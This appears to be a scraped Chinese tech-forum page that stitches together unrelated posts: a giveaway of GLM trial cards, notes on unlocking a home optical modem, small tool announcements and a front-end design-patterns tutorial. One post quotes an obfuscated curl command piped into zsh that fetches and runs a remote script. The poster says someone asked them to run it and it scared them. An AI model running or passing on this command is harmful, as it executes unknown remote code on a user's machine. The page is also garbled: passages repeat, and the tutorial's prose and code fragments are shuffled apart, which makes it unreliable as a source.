7 天 GLM Coding Plan 体验卡
为了测试 5.1 ,续约了老套餐,结果测下来,效果还行,速度太慢了,慢到不能接受。
看了眼还有这个,转给有需要的 V 友吧。
7 天 GLM Coding Plan 体验卡,有 3 张,自取吧。
xiaohack博客专注前沿科技动态与实用技术干货分享,涵盖 AI 代理、大模型应用、编程工具、文档解析、SEO 实战、自动化部署等内容,提供开源项目教程、科技资讯日报、工具使用指南,助力开发者、AI 爱好者获取前沿技术与实战经验。
为了测试 5.1 ,续约了老套餐,结果测下来,效果还行,速度太慢了,慢到不能接受。
看了眼还有这个,转给有需要的 V 友吧。
7 天 GLM Coding Plan 体验卡,有 3 张,自取吧。
家里移动千兆宽带给装的是中兴千兆猫,前几天趁着放假给它换成了贝尔 XG-140G-MD ,闲鱼到手 30 多块钱。
设置以及破解 telnet 密码参考了广东联通成功更换诺基亚贝尔 XG-140G-MD/XG-040G-MD 附相关教程和使用方法以及移动光猫超级密码获取教程:诺基亚 XG-04G-MF 桥接模式设置详解 两篇文章。这光猫破解很简单,点点链接就能修改地区、开 telnet 、修改 root 密码,不像当年用华为时四处找 onu 使能工具。参考的第二篇帖子里甚至给出了破解 root 密码脚本,经测试只需要安装 pycryptodomex 包,然后将脚本第 3 行修改成 from Cryptodome.Cipher import AES 就完美运行了。我这里移动只验证 LOID ,配置起来毫无难度~这猫似乎还支持刷 openwrt ,不过拿 XG-04G-MF 刷的人更多

让我下载脚本
curl -SsLkf $(echo '4bbapijj2a5.pp0h7913j9nusjc85rclrl5t9/rm.tr/r9dr5ol.9e6dffdllmlff5tdm/to/fd.c5r85c5:5drm6l'|tr '7j6flrc8td/mi.59o:e402s3h1aupbn' './0123456789:abcdefhijlmnoprstu')|zsh
这是什么玩意了,吓得我直接格式化电脑了


2025 年 6 月,繁殖季。
我在记录一对游隼时,看到了这一幕。
雌性游隼 Maxine 多次攻击一只在海滩行走的红狐。
红狐并没有威胁,但她在保护领地。
悬崖上的巢附近有三只幼鸟。
下方的一切动静,都不被允许。
chrome 垂直标签上线了。右键点击任意标签,选择「垂直显示标签」,即可。
若没有这个选项。
感觉键盘和屏幕还挺容易脏的
屏幕有时候会用擦镜湿巾擦一下,但是擦镜湿巾有点小,不太好擦
键盘也很容易油,而且容易灰尘脏东西进到缝隙里面;拆一次洗也挺费劲的。
你们有什么好办法吗?求分享推荐
写了个本地代理 Kimi2Moon ,把 kimi CLI 包装成标准 OpenAI API: https://github.com/gbammc/Kimi2Moon
配置很简单:
./setup.sh 一键启动,自带 Web 面板查状态。
有同样情况的朋友可以试试。
在 Fedora Linux 下,调整系统使用 auto-cpufreq 速度和功耗优化器。
搭载 Intel Core Ultra 7 255H 处理器的设备,离电状态进行日常网页浏览、写作和听音乐等轻度任务时的功耗表现,基本维持在 10W 左右。

先打个预防针,企业里是有更多标准化的解决方案的,我这个方案就是图个方便省事。
我们有个小程序里有一个弹窗,弹窗里有个蛮复杂的 ui 设计,然后点击不同的内容会打开对应的视频进行播放。
我考虑到视频内容肯定会增加,那就不能写死代码。这个 ui 比较复杂然后又只是个小弹窗,感觉实在没必要用代码去实现了。
但是图片更新起来快啊,oss 里上传一下就完事。考虑到以后有类似的需求都可以偷个懒,于是就做了这个小工具。
简单说就是给图片上加上热区,每个热区可以配置点击后的事件。
当 ui 更新新的图片后,打开这个工具网站给图片配置一下热区事件,然后导出后还是一张图片,往 oss 里一扔就完成更新了。
代码里集成这个 sdk 后可以直接响应图片上的点击事件,如果 sdk 不合适你的平台,那就集成一下 core 包,一个纯 js 包,ai 实现一下就完事了。集成起来非常简单。

项目网址: https://clickable-img.dev.noteloom.app
因为数据是公开的,所以我想上线个加密功能来着,支持配置一个密钥进行加密。不过看有没有人用吧,没人用就不做了。
写了个 lottie 动画在 linux 桌面上顶层播放的小东西,可以用在和 codex/claude 回复结束后,播放一个小动画提示,没什么用的玩具
https://github.com/xxyangyoulin/linux-lottie-salute
我遇到了特别没有水平的评委,他问我的问题类比一下:
我们做 A 的,他一直在问我为什么不做 B?
有的团队 PPT 没讲完,问答环节出问题,分数依然比我们高。我不说我们做的多好,至少 PPT 我们规定时间讲完了,问答环节评委提问逆天我也胡诌过去了。最逆天的是一个团队在问答的时候和评委吵起来,评委直接揭底,分数依然比我们高。
我本人能很快调节,之前因为生病,在自家厂里呆过两年,各种奇葩客户都见过。打击最大的是我的队员们,他们依然无法接受非客观原因导致的止步。
还有一点让我很爽,我们给了其他参赛队员压力(有人在讨论我们的项目有实物,能动),被其他院的老师认可。比赛有时候真的需要运气。
设计模式不是“高大上”的面试题,而是前辈们踩过无数坑后总结的“套路”。就像下棋有定式,写代码也有常见问题的标准解法。今天我们从实际场景出发,不讲23种全部,只挑前端最常用的5种:单例、观察者、工厂、策略、装饰器。看完你就能立刻用在项目里。 场景:全局弹窗、登录框、Store、线程池。你希望整个应用只有一个实例,反复创建会浪费资源或导致状态冲突。 不用的痛:每次调用都 实现: 前端更常见的写法:用闭包或模块(ES6模块本身就是单例)。 现代替代:直接导出对象字面量( 场景:购物车更新后,导航栏的数字要变、价格要重算、埋点要上报。你不想让购物车直接调用导航栏的方法(耦合太紧)。 不用的痛:购物车里写 实现: 观察者模式是前端最常用的模式之一。Vue的响应式原理、React的事件系统、Node.js的EventEmitter都是它的变体。 场景:根据不同参数创建不同类型的对象,但创建逻辑复杂(比如需要条件判断、依赖注入)。你不想在业务代码里到处写 不用的痛:每个用到按钮的地方都要写一堆 实现: 工厂模式把创建对象的逻辑集中管理,业务代码只依赖工厂接口。 更简单的函数工厂: 场景:表单校验:用户名规则、密码规则、邮箱规则各不相同。或者根据用户等级计算折扣:普通会员9折,黄金会员8折,钻石会员7折。你不想写一长串 不用的痛:一个函数里十几个 实现: 校验示例: 策略模式把算法(策略)提取成独立对象,可以动态替换、复用。 场景:给现有函数添加日志、性能监控、权限校验、缓存功能,但不修改函数本身。 不用的痛:在每个函数内部手动加 实现(JavaScript高阶函数版本,TS装饰器已在之前文章讲过): 更通用的装饰器组合: 装饰器模式让你能“叠加”功能,保持单一职责。 比如一个用户登录模块: 不要为了用模式而用模式。当你的代码出现重复、难维护、改一处动全身时,想想哪种模式能帮你解耦。写代码就像搭积木,模式是那些标准接口的积木块,让你搭得又快又稳。 如果你觉得今天的“招式”够实用,点个赞让更多人看到。明天我们将聊聊前端架构设计——从技术选型到目录结构,如何搭建一个能支撑三年迭代的项目骨架。我们明天见!你是不是见过这样的代码:一个文件几千行,一个函数做了十件事,改一个地方崩三个地方。今天我们不背理论,直接用5种前端最常用的设计模式,把你从“面条代码”里捞出来。学完你会发现:原来代码可以像乐高一样,哪里坏了换哪里。
前言
一、单例模式:全局只有一个的“独生子”
new Modal(),结果页面上出现十几个重叠的弹窗。class Singleton {
constructor() {
if (!Singleton.instance) {
this.data = [];
Singleton.instance = this;
}
return Singleton.instance;
}
add(item) {
this.data.push(item);
}
}
const a = new Singleton();
const b = new Singleton();
console.log(a === b); // true// modal.js
let instance;
export function getModal() {
if (!instance) {
instance = new Modal();
}
return instance;
}export default { show() {} }),ES6模块天然单例。二、观察者模式:让不相干的组件“悄悄对话”
header.updateCartCount()、sidebar.recalculate()、analytics.track()…每加一个模块,购物车代码就要改一次。class EventBus {
constructor() {
this.events = {};
}
on(event, callback) {
if (!this.events[event]) this.events[event] = [];
this.events[event].push(callback);
}
emit(event, data) {
if (this.events[event]) {
this.events[event].forEach(cb => cb(data));
}
}
off(event, callback) {
if (this.events[event]) {
this.events[event] = this.events[event].filter(cb => cb !== callback);
}
}
}
const bus = new EventBus();
// 购物车模块
bus.emit('cartUpdated', { count: 3 });
// 导航栏模块
bus.on('cartUpdated', (data) => updateCount(data.count));
// 埋点模块
bus.on('cartUpdated', (data) => track('cart', data));三、工厂模式:不用自己 new,让“工厂”替你造
new和if-else。if (type === 'primary') return new PrimaryButton()…重复代码爆炸。class ButtonFactory {
createButton(type) {
switch(type) {
case 'primary':
return new PrimaryButton();
case 'danger':
return new DangerButton();
default:
return new DefaultButton();
}
}
}
const factory = new ButtonFactory();
const btn = factory.createButton('primary');function createUser(role) {
const base = { createdAt: Date.now() };
if (role === 'admin') {
return { ...base, permissions: ['read', 'write', 'delete'] };
}
return { ...base, permissions: ['read'] };
}四、策略模式:消灭“if-else 毒瘤”
if-else。if-else,加一个新策略要改原有代码,还容易引入bug。// 策略对象
const discountStrategies = {
normal: (price) => price * 0.9,
gold: (price) => price * 0.8,
diamond: (price) => price * 0.7,
};
function getDiscount(level, price) {
return discountStrategies[level]?.(price) ?? price;
}
// 使用时
const finalPrice = getDiscount('gold', 100); // 80const validators = {
required: (val) => val.trim() !== '',
minLength: (val, len) => val.length >= len,
email: (val) => /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(val)
};
function validate(value, rules) {
for (let rule of rules) {
const [name, param] = rule.split(':');
if (!validators[name]?.(value, param)) return false;
}
return true;
}五、装饰器模式:给代码“贴金”而不改源码
console.time,加完又删,污染业务逻辑。function withLog(fn) {
return function(...args) {
console.log(`调用 ${fn.name} 参数:`, args);
const result = fn.apply(this, args);
console.log(`返回值:`, result);
return result;
};
}
function add(a, b) { return a + b; }
const loggedAdd = withLog(add);
loggedAdd(2, 3); // 输出日志,返回5function withTimer(fn) {
return function(...args) {
const start = performance.now();
const result = fn.apply(this, args);
const end = performance.now();
console.log(`${fn.name} 耗时 ${end - start}ms`);
return result;
};
}
// 组合多个装饰器
const enhanced = withLog(withTimer(add));六、实际项目中的组合运用
UserStore。createUser('admin'))。userLoggedIn事件,购物车、头像组件、权限菜单分别响应。七、总结:设计模式是“招式”,不是“教条”